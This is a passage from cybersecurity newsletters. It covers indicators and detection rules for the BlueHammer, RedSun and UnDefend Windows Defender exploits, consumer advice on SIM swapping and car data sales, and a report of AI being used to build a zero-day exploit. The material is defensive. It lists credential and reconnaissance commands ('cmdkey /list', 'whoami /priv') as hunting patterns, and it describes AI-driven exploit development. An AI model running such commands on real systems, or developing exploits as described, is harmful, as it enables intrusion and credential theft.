• RedSun.exe (staged in \Downloads\)

• undef.exe / UnDefend.exe (staged in \Downloads\ks\ or \Downloads\kk\)

• z.exe (renamed exploit binary)

• agent.exe (BeigeBurrow tunneling agent)

• Modified TieringEngineService.exe in C:\Windows\System32\

BeigeBurrow SHA-256: a2b6c7a9c4490df70de3cdbfa5fc801a3e1cf6a872749259487e354de2876b7c

Defender detection name: Exploit:Win32/DfndrPEBluHmr.BZ

Network Indicators

• staybud.dpdns[.]org (BeigeBurrow C2, port 443)

• 78.29.48[.]29 (Russia, initial VPN access)

• 212.232.23[.]69 (Singapore, follow-on)

• 179.43.140[.]214 (Switzerland, follow-on)

Behavioral Indicators

• Cloud sync provider registration using the string “SERIOUSLYMSFT” (exact-match RedSun indicator)

• Named pipe creation: \\.\pipe\REDSUN

• Modifications to C:\Windows\System32\TieringEngineService.exe

• Repeated Windows Update Error Code 80070643 during Defender signature updates (UnDefend passive mode)

• Defender signature timestamp stale beyond 72 hours despite dashboard showing healthy status

• MsMpEng.exe writing PE/DLL/driver files to paths outside ProgramData\Microsoft\Windows Defender

• NTFS junction creation in user directories targeting C:\Windows\System32

• whoami /priv, cmdkey /list, net group spawned from unexpected parent processes

• agent.exe with -server and -hide flags

• VPN authentication from the same account across multiple countries within short timeframes

Detection and Hunting Guidance

Priority Action: Verify Defender Is Actually Working

Do not trust the dashboard. UnDefend’s entire purpose is to make Defender appear healthy while it is blind. Query the actual signature timestamp directly across your fleet:

Get-MpComputerStatus | Select-Object AntivirusSignatureLastUpdated

Alert on any host where signatures are older than 72 hours. If multiple endpoints report Error Code 80070643 simultaneously, investigate immediately. Clustered signature update failures are the highest-fidelity indicator currently available for UnDefend in passive mode.

Verify Patch Level

Confirm Defender Antimalware Platform version 4.18.26040.7 or later is deployed across all endpoints. This version patches BlueHammer, RedSun, and UnDefend. Confirm engine version 1.1.26040.8 or later for the related heap-based buffer overflow (CVE-2026-45584).

Sigma Rules

The BlueHammerFix repository (github.com/technoherder/BlueHammerFix) provides 7 Sigma rules and 4 YARA rules covering the full attack chain. Key rules to deploy:

• bluehammer_samlib_load.yml — Non-LSASS process loading samlib.dll

• bluehammer_rapid_password_change.yml — Password change-logon-restore cycle

• bluehammer_junction_basenamed.yml — Junction to BaseNamedObjects

• bluehammer_cloudfiles_abuse.yml — Cloud Files API invocation by non-provider process

• bluehammer_lsa_bootkey_access.yml — LSA boot key registry access

KQL Detection Packs

Two community-maintained detection packs for Microsoft Defender XDR and Sentinel are available on GitHub:

• Letlaka/redsun-bluehammer-undefend-detection-pack: Full attack chain queries for all three patched exploits, plus cross-family hunting for BeigeBurrow follow-on activity. Uses DeviceFileEvents, DeviceProcessEvents, and DeviceRegistryEvents tables.

• 3ch0p01nt/RedSun_Undefend: Hunt queries and defensive recommendations specifically for RedSun and UnDefend.

Sysmon Event IDs to Monitor

• Event ID 1 (ProcessCreate): whoami /priv, cmdkey /list, net group from unexpected parents; agent.exe with -server/-hide flags

• Event ID 11 (FileCreate): Suspicious filenames in \Pictures\ or \Downloads\; modifications to TieringEngineService.exe; Defender writing binaries to non-standard paths

• Event ID 12/13/14 (Registry): Registry modifications in DEFAULT hive (MiniPlasma); LSA boot key access (BlueHammer)

• Defender Operational Log 1116-1117: Detection and remediation events (correlate with TOCTOU timing)

YARA and Network Rules

• BeigeBurrow YARA rule: github.com/RussianPanda95/Yara-Rules/blob/main/BeigeBurrow/win_mal_BeigeBurrow.yar

• BlueHammerFix YARA rules: 4 rules available in the technoherder repository

• Suricata rule SID 2026041701: detects potential RedSun/BlueHammer/UnDefend downloads

What Should Organizations Do

Immediate Actions

1. Verify Defender platform version 4.18.26040.7 or later on every endpoint. This patches BlueHammer, RedSun, and UnDefend.

2. Query signature freshness directly using Get-MpComputerStatus. Do not rely on dashboard indicators.

3. Baseline the SHA-256 hash of TieringEngineService.exe on all endpoints. Any modification triggers an immediate investigation.

4. Deploy the Sigma and KQL detection rules listed above.

5. Apply YellowKey mitigations: Enforce TPM+PIN for BitLocker (the published exploit only works against TPM-only configurations). Review Microsoft’s May 20 mitigation guidance for the WinRE registry workaround.

Ongoing Posture

1. Monitor for MiniPlasma: No patch exists for production Windows. The cldflt.sys driver is present on most Windows 11 installations via OneDrive. Watch for the fix in the June 10 Patch Tuesday.

2. Audit SSL VPN credentials: The observed intrusion entered through stolen FortiGate VPN credentials. Enforce MFA on all remote access, review for impossible-travel patterns, and rotate credentials for any accounts with unexplained activity.

3. Prepare for June and July: Nightmare-Eclipse has promised a “big surprise” for the June 10 Patch Tuesday and has threatened a major disclosure on July 14. The researcher has followed through on every prior threat. Plan for accelerated patch cycles around those dates.

4. Do not depend solely on Defender: Three of the six exploits specifically target Defender’s internal mechanisms. Organizations relying exclusively on Defender for endpoint protection should consider layered defenses: a secondary EDR agent, application whitelisting, or network-level detection.

The Responsible Disclosure Debate

Microsoft’s MSRC published a blog post calling out the anonymous researcher for bypassing coordinated disclosure: “The details of these vulnerabilities were not shared with Microsoft prior to release, and the disclosures put our customers at unnecessary risk.” Microsoft has described uncoordinated disclosure as “never justifiable” and used legal language broad enough to cover “both actual attackers and researchers who enable them with proof of concepts.”

The security community’s reaction was skeptical. Researchers at SpecterOps and TrustedSec shared their own frustrating experiences with MSRC. Jason Lang, Team Lead of Targeted Operations at TrustedSec, wrote: “I’ve heard nothing but horror stories about those submitting to MSRC, so it’s no surprise that this would be the fallout.”

Barracuda Networks took the opposite position, explicitly classifying Nightmare-Eclipse as a “malicious actor, not a whistleblower, not a responsible disclosure advocate, and not a neutral researcher.”

The researcher claims they reported through proper channels first and were rebuffed. At the same time, the Huntress intrusion confirms that real organizations were compromised by real attackers using this exploit code within days of its release. The grievance may be legitimate. The collateral damage is also real.

GitHub (owned by Microsoft) banned the researcher’s account around May 23. GitLab suspended the account days later. Unfortunately, clones spread within hours. The bans may have generated more sympathy for the researcher than the original disclosures did.

What Comes Next

Nightmare-Eclipse has followed through on every prior threat. The escalation pattern is deliberate: privilege escalation, then defense evasion, then BitLocker bypass, then hints at remote code execution. Each release was timed to maximize embarrassment, landing on or immediately after Patch Tuesday.

Three things to watch:

• June 10 (Patch Tuesday): The researcher has promised a “big surprise.” They have also claimed they will “drag other companies into this,” suggesting exploits targeting vendors beyond Microsoft.

• July 14: Nightmare-Eclipse has publicly announced a major disclosure on this date. The researcher previously hinted at releasing remote code execution vulnerabilities, which would be a qualitative escalation from the local privilege escalation and defense evasion exploits released so far.

• The “dead man’s switch”: The researcher claims to have deployed an automated system that will release additional exploits if certain conditions are met. Security experts note: “They claim to have a dead man’s switch with more ready to go. This researcher has followed through on every prior threat.”

We will continue tracking this story. If the June or July disclosures materialize, expect a follow-up edition.

Patch Status Summary

• BlueHammer (CVE-2026-33825): Patched, April 14. Defender Platform 4.18.26030.3011.

• UnDefend (CVE-2026-45498): Patched, May 19-20. Defender Platform 4.18.26040.7.

• RedSun (CVE-2026-41091): Patched, May 19-20. Defender Platform 4.18.26040.7.

• YellowKey (CVE-2026-45585): Mitigation guidance only. No full patch.

• GreenPlasma: Unpatched. No CVE assigned.

• MiniPlasma: Unpatched. Fix appears in Insider Canary builds only. Relates to CVE-2020-17103.

Next Patch Tuesday: June 10, 2026.

Sources

• Barracuda Networks: Six Zero-Days, Six Weeks and One Big Grudge (May 19, 2026)

• Huntress Labs: Nightmare-Eclipse Tooling in Real-World Intrusion (April 20, 2026)

• Vectra AI: When the Defender Becomes the Door

• Picus Security: BlueHammer & RedSun Explained

• Cyderes: Inside the Windows Zero-Day (BlueHammer)

• Cyderes: RedSun Zero-Day

• SOCRadar: BlueHammer, RedSun, and UnDefend

• BleepingComputer: Disgruntled Researcher Leaks BlueHammer

• BleepingComputer: MiniPlasma Zero-Day Gives SYSTEM Access

• BleepingComputer: YellowKey BitLocker Bypass

• The Hacker News: Microsoft Slams Public Zero-Day Disclosures

• The Hacker News: MiniPlasma Windows 0-Day

• The Register: Disgruntled Researcher Releases Two More Zero-Days

• CyberNews: GitHub Bans Researcher

• CISA KEV: CVE-2026-33825 (April 22, 2026)

• CISA KEV: CVE-2026-41091 and CVE-2026-45498 (May 20, 2026)

• Intruvent Technologies, Golden CTI Database (Codex), queried May 28, 2026

Intruvent Edge is a bi-weekly threat intelligence newsletter from Intruvent Technologies. For custom, localized cyber threat intelligence, visit intruvent.com/brace.

Welcome to Prevent This, our weekly community newsletter covering cybersecurity for everyone. If you found us through Intruvent Edge, our bi-weekly technical deep dive, welcome. Both live on the same Substack. Feel free to share either one. We’re glad you’re here.

One phone call to your carrier. Fifteen minutes. That is all it takes for someone to reroute your entire digital life to a device you have never seen.

Justin Chan woke up to a dead phone.

No signal. No texts. No calls. It was the middle of the night, and his Xfinity Mobile number had been transferred to a device he did not own. Over the next three hours, while he slept, someone used his phone number to intercept two-factor authentication codes, reset his banking passwords, and initiate three wire transfers. By morning, $38,000 was gone. The joint account he shared with his sister, the one they used to pay for their elderly mother’s care, was empty.

Bank of America closed its fraud investigation and told him the transactions were authorized. It took months of fighting, and a local news investigation, before the bank reopened the case.

In Florida, Patricia Escriva watched thousands disappear within minutes of losing control of her number. In Miami, Wei Shen’s T-Mobile number was quietly transferred while she went about her day. By the time she noticed her phone had gone silent, three wire transfers totaling $68,625 had cleared. Citibank denied her fraud claim, telling her she failed to “take adequate steps to safeguard her accounts.”

The attack that hit all three of them has a name: SIM swapping. And the fix takes about 15 minutes.

How It Works

The attacker calls your mobile carrier and claims to be you. They say their phone was lost or damaged and ask for the number to be moved to a new SIM. To pass the identity check, they provide personal details gathered from data breaches, social media, and data broker sites: your name, address, date of birth, the last four digits of your Social Security number. If the answers match, the swap goes through. In some cases, attackers bribe carrier store employees directly, paying as little as $300 per swap to skip the verification entirely.

Once your number is on their device, every SMS verification code meant for you goes to them. They reset your email password first. Then banking. Then crypto. Then everything else. The average swap completes in under 15 minutes, and most of the damage happens within the first hour.

A cybercrime group called Scattered Spider industrialized SIM swapping to steal at least $8 million in cryptocurrency. Their second member, Tyler Robert Buchanan, pled guilty in April 2026 and faces up to 22 years in prison. Another member is already serving a 10-year sentence. The group’s broader victim list includes MGM Resorts, Caesars Entertainment, Twilio, LastPass, and Transport for London. In a separate case, T-Mobile was ordered to pay $33 million after a single SIM swap drained a customer’s crypto wallet.

Why Should You Care?

The FBI logged 982 SIM swap complaints and $25.9 million in losses in 2024. Those numbers only reflect what victims voluntarily reported. The real volume is higher. Globally, the UK saw a 1,055% year-over-year increase in SIM swap cases, and Australia reported a 240% surge, with 90% of attacks occurring without any interaction from the victim.

The people most at risk may not be who you expect. 29% of all account takeover victims are now 61 or older, a 90% year-over-year increase for that age group. If you have parents or grandparents who use their phone for banking, this applies directly to them.

The good news: every major U.S. carrier now offers free tools to block this attack. The bad news: none of them are turned on by default.

What Can You Do?

Step 1: Lock Your Number (Do This Today)

Note: If you do switch carriers or upgrade your device, you will need to temporarily disable these protections first. Turn them back on as soon as the change is complete.

• Verizon: My Verizon app > Account > Security Settings. Enable Number Lock(blocks port-outs to other carriers) and SIM Protection (blocks SIM swaps within Verizon). Both free.

• T-Mobile: T-Life app > Account > Add-ons. Enable Port Out Protection. Free for all customers. You must add it to each line individually.

• AT&T: myAT&T app. Enable Wireless Account Lock. Blocks port-outs and sensitive account changes.

• Other carriers: Call and ask for both a port freeze (blocks transfers to other carriers) and a SIM lock (blocks device swaps within your carrier). You want both.

Then set a strong account PIN. Not your birthday. Not the last four of your SSN. A random 6 to 8 digit number stored in your password manager.

Step 2: Move Your Important Accounts Off SMS

SIM swapping only works because SMS verification codes travel with your phone number. Move these accounts to an authenticator app or passkey and the attack loses its power:

1. Email (Gmail, iCloud, Outlook). This is the master key. If an attacker controls your email, they can reset every other password.

2. Banking and financial accounts. Most major banks now support authenticator apps.

3. Cryptocurrency exchanges. The single highest-risk category for SIM swap theft.

4. Social media (Facebook, Instagram, LinkedIn).

What to use instead of SMS:

• Best: Passkeys (Apple, Google, Microsoft) or a hardware security key like YubiKey. Phishing-resistant and immune to SIM swaps.

• Good: An authenticator app (Apple Passwords, Google Authenticator, Microsoft Authenticator). Codes stay on your device.

• Acceptable: SMS. Still better than nothing. If it is your only option, keep it on while you upgrade.

Step 3: Know the Warning Sign

The first sign of a SIM swap is sudden loss of cell service. Your phone shows “No Service” or “SOS Only” for no apparent reason (I.E. you are in a place where you usually have strong service)

If this happens, treat it as an emergency:

1. Call your carrier immediately from another phone or over Wi-Fi. Tell them you suspect a SIM swap and ask them to investigate it.

   If #1 confirms an attempted SIM Swap attack:

2. Call your bank and request a temporary freeze on transactions.

3. Change your email password from a device you control, before the attacker does.

4. Check for unauthorized activity on every account tied to your phone number.

The Bottom Line

SIM swapping is one of the few attacks where the victim does nothing wrong and still loses. You do not click a link, open an attachment, or visit a malicious website. Someone convinces your carrier to hand over your phone number, and your digital life follows.

The fix is free and takes 15 minutes:

1. Enable Number Lock and SIM Protection on your carrier account.

2. Set a strong, random account PIN.

3. Move your email and banking off SMS to an authenticator app or passkey.

4. Help one family member do the same this week.

The people who steal phone numbers are counting on you to put this off until tomorrow. Don’t.

If you or someone you know has been targeted:

• FBI IC3: ic3.gov

• FTC: ReportFraud.ftc.gov or 877-382-4357

• Your carrier’s fraud department (call the number on the back of your bill, not a number from a text or email)

• Your bank’s fraud line (call the number on the back of your debit or credit card)

Sources

• FBI IC3, 2024 Annual Report (982 SIM swap complaints, $25.9M in losses)

• FCC: SIM Swap and Port-Out Fraud Protection Rules (effective 2024)

• Krebs on Security: Scattered Spider Member ‘Tylerb’ Pleads Guilty (April 2026)

• 10News San Diego: SIM Swapping Victim Gets $38,000 Back (Justin Chan case)

• Fox News: SIM Swap Scam Drained Florida Woman’s Account (Patricia Escriva, May 2026)

• NBC Miami: Woman Loses Life Savings in SIM Swap Scam (Wei Shen case)

• Efani: SIM Swap Fraud Statistics 2026

• Cifas (UK): National Fraud Database 2024 (1,055% YoY increase)

• Group-IB: The Evolution of SIM Swapping Fraud

• Thomson Reuters Institute: A Deep Dive Into SIM Swap Fraud

Your car knows where you go, how fast you drive, how hard you brake, and what time you get home at night. And in millions of cases, your car manufacturer has been quietly selling that information to data brokers, who pass it to insurance companies, who use it to raise your premiums.

You probably did not agree to this. You may not even know it is happening. 82% of connected car drivers have no idea how much data their vehicle collects. The FTC just took action against General Motors for doing exactly this. And GM is far from the only brand involved.

What Happened?

On January 14, 2026, the Federal Trade Commission finalized a consent order against General Motors and its OnStar subsidiary. The FTC found that GM had been collecting detailed driving behavior data from more than 14 million vehicles and selling it to data brokers, specifically Verisk Analytics and LexisNexis Risk Solutions. Those data brokers then made the information available to insurance companies.

The data was granular. OnStar recorded precise geolocation every 3 seconds, hard braking, hard acceleration, speeding (anything over 80 mph was flagged), late-night driving patterns, trip times, and seatbelt usage. GM earned approximately $20 million from selling this data. Honda sold similar data for about $0.26 per car. The financial incentive for the manufacturer is modest. The financial impact on the driver can be anything but.

Your car is not the only device in your life with this problem. Smart TVs, fitness trackers, doorbell cameras, thermostats, and yes, even smart refrigerators collect data about your daily habits and routines. Your car just happens to be the one the FTC caught selling it to your insurance company. The principle is the same across every connected device you own: if it is connected to the internet, it is collecting data. The question is who else is seeing it.

What Happened to Real People

When the New York Times investigated in 2024, they found consumers whose insurance premiums had increased by 21% and 80% after their driving data was shared without their knowledge. One driver reported being rejected by seven insurers. Another discovered a 258-page LexisNexis report documenting every trip they had taken for months.

A 2024 study found that only 31% of drivers who participated in telematics programs (voluntarily or not) saw lower premiums. 24% paid more. The rest saw no change, meaning the data collection provided no benefit to them but still created a permanent record of their driving behavior in a third-party database.

Why Should You Care?

This affects most people who drive a car manufactured in roughly the last decade. The Mozilla Foundation evaluated 25 major car brands for privacy in 2023. Every single one failed. Mozilla called cars “the worst product category for privacy we have ever reviewed.” For example, Nissan’s privacy policy claims the right to collect “sexual activity” and “genetic data.” Most brands reserve the right to share data with law enforcement without a warrant.

• 82% of connected car drivers don’t know how much data their car collects

• 40% don’t even know they have connected services active in their vehicle

• 96% of consumers say they should own the data their car generates

• A modern connected car transmits 1 to 1.5 gigabytes per day to the manufacturer’s cloud

How Does This Work?

Think of your car as a smartphone on wheels. It has a cellular connection, a GPS receiver, and dozens of sensors. Every time you drive, the car records where you went, how you got there, and how you drove along the way. That data is transmitted to the manufacturer through the car’s built-in cellular connection.

Historically, this data was used for services like navigation, crash detection, and remote diagnostics. Those are legitimate functions. The problem is that manufacturers began selling the same data to third parties, particularly data brokers who aggregate driving records and sell “risk profiles” to insurers.

Here is how the pipeline works:

1. Your car collects driving data (speed, braking, location, time of day) and transmits it to the manufacturer’s cloud.

2. The manufacturer sells or shares the data with a data broker like Verisk or LexisNexis.

3. The data broker builds a driving profile on you, which may include a risk score, trip history, and behavioral patterns.

4. Your insurance company purchases or accesses the profile and uses it to adjust your premium at renewal, sometimes without telling you why your rate changed.

The consent you gave was typically buried in the terms of service you accepted when you set up OnStar, FordPass, or Toyota Connected Services. The FTC found that GM’s enrollment process was designed to obscure the data-sharing, with consent bundled into multi-step flows that most consumers clicked through without reading.

Which Brands Are Doing This?

The brands that have been confirmed selling or sharing driving data with insurance-related data brokers include:

• General Motors (OnStar, sold to Verisk and LexisNexis)

• Honda (sold to Verisk)

• Hyundai (shared with Verisk)

• Kia (shared with LexisNexis)

• Subaru (shared with LexisNexis)

• Mitsubishi (shared with LexisNexis)

• Ford (shared with Verisk)

Verisk announced in early 2025 that it would stop collecting driving data from automakers. LexisNexis continues to operate its driving data program.

Toyota, Tesla, BMW, Mercedes-Benz, and other brands collect extensive driving data but the specifics of their third-party sharing arrangements are less well-documented. Their privacy policies broadly reserve the right to share data with “business partners” and “affiliates.”

What Can You Do?

Step 1: Find Out What Data Brokers Already Have on You

You have a legal right under the Fair Credit Reporting Act to request a free copy of your consumer file from data brokers. Two reports to request:

• LexisNexis Consumer Disclosure: consumer.risk.lexisnexis.com/request. This is the report that has documented 258-page driving histories for some consumers. Request it and see what they have.

• Verisk Consumer Report: fcra.verisk.com. Even though Verisk says they stopped collecting new data from automakers, they may still have your historical records.

Both reports are free. They take about 15 minutes to request and typically arrive within 30 days.

Step 2: Check Your Vehicle’s Privacy Settings

You can also check what your specific car is sharing using Privacy4Cars, a free tool at VehiclePrivacyReport.com. Enter your VIN and it tells you what data your car collects and shares.

Step 3: Opt Out of Data Sharing

Most manufacturers provide a way to opt out, though they do not make it easy. Here is how to do it for the most common brands:

• GM/OnStar: Call OnStar (1-888-466-7827) or go to your OnStar account settings and disable “Connected Vehicle Data Sharing.” Under the FTC consent order, GM must now provide clear opt-out mechanisms and honor deletion requests.

• Ford: Open the FordPass app, go to Settings, then Privacy, and disable data sharing. You can also call Ford customer service.

• Toyota: Call Toyota Connected Services (1-800-331-4331) and request deactivation of data sharing. You can also manage settings through the Toyota app.

• Honda: Call 1-800-999-1009 and request opt-out from data sharing programs.

• Tesla: Go to Controls > Software > Data Sharing on the touchscreen and toggle off.

• Hyundai/Kia: Call Hyundai (1-800-633-5151) or Kia (1-800-333-4542) and request opt-out. You can also manage through the Bluelink or Kia Connect apps.

A word of caution: opting out of data sharing may disable some connected features you use, like remote start, stolen vehicle tracking, or automatic crash notification. You will need to decide which features are worth the trade-off.

Step 4: Dispute Inaccurate Driving Data With Your Insurer

If you discover that a data broker has inaccurate driving data about you, or if your insurance premium increased and you suspect it was based on vehicle telematics data, you have the right to dispute it. Under the FCRA, both the data broker and the insurer must investigate disputes and correct inaccuracies. Contact your insurance company and ask directly: “Are you using telematics or driving behavior data in my rate calculation?”

Step 5: Wipe Your Data When You Sell Your Car

When you sell or trade in your vehicle, your personal data goes with it unless you manually remove it. Connected cars can store saved addresses (including your home and workplace), Wi-Fi passwords, contacts synced from your phone, garage door codes, credit card information from in-car payment systems, and your complete trip history.

Before handing over the keys:

1. Perform a factory reset through the car’s settings menu

2. Remove the car from your manufacturer account (OnStar, FordPass, Toyota app, etc.)

3. Un-pair your phone from the Bluetooth system

4. Delete your home address and saved locations from the navigation system

5. Remove any stored garage door opener codes

A Note on the Law

Three states have now banned this practice outright: Maryland (2024), Oregon (January 2026), and Virginia (effective July 2026). California imposed a $12.75 million CCPA penalty on GM, the largest CCPA penalty ever. The Texas Attorney General sued multiple automakers over data collection affecting 45 million Americans. There is no federal law prohibiting this. If you do not live in one of those three states, opting out directly with the manufacturer is your only protection.

One more thing: rental cars. Roughly 90% of rental vehicles have GPS tracking and store the data for months. When you return a rental, disconnect your phone from Bluetooth, delete your navigation history, and sign out of any accounts on the infotainment system.

The Bottom Line

Your car is one of the most prolific data collectors in your life, and until recently, most manufacturers were sharing that data without meaningful consent. The FTC’s action against GM is a start, but it only covers one company. The driving data that has already been collected and sold is sitting in broker databases and may already be influencing your insurance rates.

Four things to do to address this:

1. Request your LexisNexis report at consumer.risk.lexisnexis.com/request. Find out what they have on you. It is free.

2. Check your car’s privacy settings using VehiclePrivacyReport.com. Enter your VIN.

3. Opt out of data sharing through your manufacturer’s app or by calling them directly.

4. Ask your insurer whether they are using telematics or driving behavior data in your rate calculation.

You probably gave your car permission to do this when you tapped “Agree” on a screen during setup. Now you know what you agreed to. Share this with anyone who drives.

Sources

• FTC: Order settling GM/OnStar geolocation data allegations (January 14, 2026)

• Mozilla Foundation: Privacy Not Included, Cars (2023)

• New York Times: Carmakers Are Sharing Driver Data With Insurers (March 2024)

• LexisNexis: Consumer Disclosure Request

• Verisk: Consumer Report Request

• Privacy4Cars: Vehicle Privacy Report

• FTC: New Trends in Imposter Scams (May 7, 2026)

Prevent This is a weekly cybersecurity newsletter from Intruvent Technologies. Each week, we break down one cyber threat in plain language and give you the tools to protect yourself and the people you care about. For our bi-weekly technical deep dive, check out Intruvent Edge.

The Short Version

For the first time, a criminal hacking group used artificial intelligence to find a security flaw that nobody knew existed, write the code to exploit it, and deploy that code against real targets. The AI tool handled the entire exploit lifecycle by itself. Google’s security team caught it, worked with the affected software vendor to fix the flaw, and shut the operation down.

This matters because it changes the math on how quickly attackers can move. Finding and exploiting unknown security flaws used to require deep expertise and significant time. AI compresses both. If you run a business, manage IT infrastructure, or make decisions about technology risk, this article explains what happened, what it means, and what you should be paying attention to going forward.

Some Quick Definitions

Before we go further, a few terms that will come up throughout:

• Zero-day: A security flaw in software that the software maker does not yet know about. The name comes from the idea that developers have had “zero days” to fix it. These are the most dangerous type of vulnerability because there is no patch available when attackers start using them.

• Exploit: A piece of code designed to take advantage of a specific flaw. Think of the flaw as an unlocked window. The exploit is the burglar who knows exactly which window and how to climb through it.

• Two-factor authentication (2FA): The second verification step when you log in, typically a code sent to your phone or generated by an app. The flaw in this case allowed attackers to skip that second step entirely.

• CVE: A standardized ID number assigned to known security flaws, like a case number. When the security community refers to “CVE-2026-31431,” everyone knows exactly which flaw is being discussed.

• APT (Advanced Persistent Threat): A government-sponsored hacking team. These are professional, well-funded groups that conduct cyber operations on behalf of nation-states. They are named and tracked by the security industry the way intelligence agencies track foreign operatives.

What Happened

On May 11, 2026, Google’s Threat Intelligence Group (their security research division, often shortened to GTIG) published a report tracking how threat actors are using AI. Among dozens of findings, one stood out: a criminal hacking group used an AI model to discover a previously unknown security flaw and write a working exploit for it.

The exploit is a Python script that bypasses two-factor authentication on a popular, widely used system administration tool. The underlying flaw is a hard-coded trust assumption in the software’s login process. In plain terms: the software was programmed to trust certain login attempts automatically, skipping the second verification step. The AI found that blind spot and wrote the code to walk through it.

Google identified the exploit in active use, coordinated with the software vendor to get the flaw patched, and disrupted the operation before it could spread further.

How Did Google Know AI Was Involved?

The exploit code contained telltale signs of AI authorship, the digital equivalent of a forged painting that uses pigments that did not exist when the original was supposedly created. Specifically:

• Excessive documentation: The code included detailed explanatory notes throughout, the kind a teacher would write for a student. Real attackers do not document their exploits. They want their code to be hard to understand, not easy.

• A fabricated severity score: The code included a CVSS score (a standardized severity rating, like a hurricane category for software flaws) that the AI made up. The score did not correspond to any real entry in the vulnerability database.

• Textbook code structure: The code was organized with a precision and readability that prioritized clarity over stealth. Human exploit developers optimize for evasion. AI optimizes for correctness.

• Built-in help menus: The exploit included usage instructions. No human attacker builds a help menu into their attack tool.

Google stated there was no evidence that its own Gemini AI was used, and assessed with high confidence that an AI model was involved. The specific model and the specific group remain undisclosed.

Three Findings, Three Actors: Getting the Story Right

Several publications reported this story as “North Korea used AI to build a zero-day.” That is not what Google said. The GTIG report contains three distinct findings involving three different groups doing three different things. Conflating them creates a misleading picture. Here is what actually happened:

Finding 1: The AI-generated zero-day. An unnamed group of cybercrime actors used an AI model to discover a zero-day and write a working exploit. Google caught it in active use and shut it down. The group, the model, and the target product remain undisclosed. This is the headline finding.

Finding 2: North Korea’s APT45 using AI to research vulnerabilities at scale. Separately, Google found that a North Korean government hacking team called APT45 (also known as Andariel) sent “thousands of repetitive prompts” to AI models, asking them to analyze known security flaws and validate whether existing proof-of-concept exploits actually work. Think of it as using AI to do the research grunt work: reading thousands of vulnerability reports and testing whether the published attack code is functional. This is a serious capability, but it is vulnerability research, not zero-day creation. APT45 did not produce the AI-generated zero-day in Finding 1.

Finding 3: China’s APT27 using AI to build operational tools. A Chinese government hacking team called APT27 (also known as Threat Group-3390) used Google’s Gemini to write a fleet management application for their proxy network. A proxy network is a series of relay points that attackers route their traffic through to hide their real location, like forwarding mail through multiple PO boxes so the return address cannot be traced. APT27 used AI to build the software that manages those relay points. This is software engineering, not exploit development.

The distinction matters. One unnamed criminal group created an AI-generated zero-day. A North Korean government team is using AI to accelerate vulnerability research. A Chinese government team is using AI to build infrastructure tools. All three are significant. None of them should be described as the same thing.

Why This Matters

The security industry has debated whether AI would be used for exploit development since ChatGPT launched in late 2022. That debate is settled. The question now is how fast this scales.

Three dynamics make this consequential for anyone who manages technology risk:

1. The Clock Is Faster Now

When a security flaw is discovered and publicly disclosed, a race begins. Defenders race to install the patch. Attackers race to build an exploit before the patch is applied. Historically, building a working exploit took days to weeks of skilled manual work. AI compresses that timeline.

In April, a security research team demonstrated this directly: they used AI-assisted analysis to turn a newly disclosed Linux kernel vulnerability (the “Copy Fail” flaw we covered in our April 30 newsletter) into a complete attack chain in approximately one hour. Google’s finding confirms that criminal groups are achieving similar speeds.

For organizations that patch on a monthly cycle, this is a problem. When the time from disclosure to exploit drops from weeks to hours, a monthly patch schedule means spending most of the month exposed.

2. The Expertise Barrier Is Lower

Building exploits used to require rare, specialized skills. Google’s report describes APT45’s approach as “thousands of repetitive prompts” rather than sophisticated engineering. That is not an elite technique. It is a volume play, like running a thousand internet searches instead of crafting one perfect query.

The AI artifacts in the zero-day exploit (the help menus, the documentation, the fabricated severity score) suggest the developer leaned heavily on the AI’s raw output rather than refining it. That implies someone with moderate technical skills, not a world-class exploit developer, produced a working zero-day with AI assistance.

The analogy in other fields: it is the difference between needing a board-certified specialist for a procedure versus a general practitioner with the right diagnostic tool. The tool does not replace expertise entirely, but it lowers the bar for who can produce a competent result.

3. The Trajectory Is Clear and Accelerating

Google has now published three AI Threat Tracker reports. Each one documents capabilities that were theoretical in the previous edition:

• Early 2024: Attackers used AI mostly for writing phishing emails and generating basic code. Think of this as using AI as a research assistant.

• November 2025: Google discovered experimental malware called PROMPTFLUX that queried an AI model to rewrite its own code hourly, changing its appearance to avoid detection. The malware was still in testing, but it proved the concept of using AI as a live mutation engine.

• April 7, 2026: Anthropic (the company behind the Claude AI) disclosed that its Mythos model discovered over 2,000 previously unknown security flaws in seven weeks during internal testing, including bugs that had gone undetected for 17 and 27 years. Anthropic restricted Mythos’s release because of its offensive potential.

• May 11, 2026: Google confirmed the first AI-assisted zero-day exploit used in a real-world criminal operation.

Each milestone arrived faster than the previous one. The gap between Anthropic’s controlled testing disclosure and a real-world AI-generated exploit in the wild was approximately one month.

What Else Was in the Report

The zero-day was the headline, but Google’s full report documents AI being integrated across every phase of cyberattack operations:

• Autonomous phone malware: Android malware called PROMPTSPY uses an AI model to navigate a phone’s screen and replay biometric data without human guidance. This is malware that can operate your phone by itself.

• AI-generated decoy documents: Russian-linked actors are using AI to produce convincing fake documents for phishing campaigns targeting Ukraine. AI makes the lure material faster and more believable at scale.

• AI voice cloning for impersonation: A pro-Russia influence operation used AI-generated voice clones to impersonate journalists.

• Software supply chain attacks: A group called TeamPCP compromised popular security scanning tools (Trivy, Checkmarx, LiteLLM), affecting over 1,000 business software environments.

• Autonomous reconnaissance: Chinese actors deployed AI-powered tools called Hexstrike and Strix that can scan and map target networks without human direction.

The pattern is consistent. AI is not being used for one thing. It is being used for everything: research, reconnaissance, exploit development, malware creation, phishing, impersonation, and infrastructure management.

The Actors Behind This

APT45 / Andariel (North Korea)

APT45 is a hacking team that operates under North Korea’s military intelligence agency, the Reconnaissance General Bureau. The security industry also tracks them as Andariel, Silent Chollima, and Onyx Sleet. They are a sub-unit of the Lazarus Group, the umbrella organization behind North Korea’s most prominent cyber operations (Intruvent Codex; MITRE ATT&CK G0138).

APT45 has been active since at least 2015. Their primary mission is generating revenue for North Korea’s weapons programs through ransomware, cryptocurrency theft, and extortion. They target defense contractors, financial institutions, and government agencies. They have also targeted hospitals with ransomware (the Maui campaign) and conducted espionage against nuclear research programs.

Google’s report reveals that APT45 is now using AI at an industrial scale to analyze security flaws and test whether published exploits actually work. Their approach (sending thousands of repetitive prompts, using automated testing tools in practice environments) suggests they have built AI into their standard research workflow. This is not an experiment. It is how they operate now.

APT27 / Threat Group-3390 (China)

APT27 is a Chinese government espionage group that has been active since at least 2010. The security industry tracks them under a long list of names: Threat Group-3390, Emissary Panda, BRONZE UNION, Iron Tiger, and LuckyMouse (Intruvent Codex; MITRE ATT&CK G0027). The US Department of Justice indicted members of the group in 2020.

APT27 is one of the more technically sophisticated state-sponsored groups. The Intruvent Codex maps them to 57 distinct attack techniques and 24 malware families. They target defense, government, energy, manufacturing, and technology organizations.

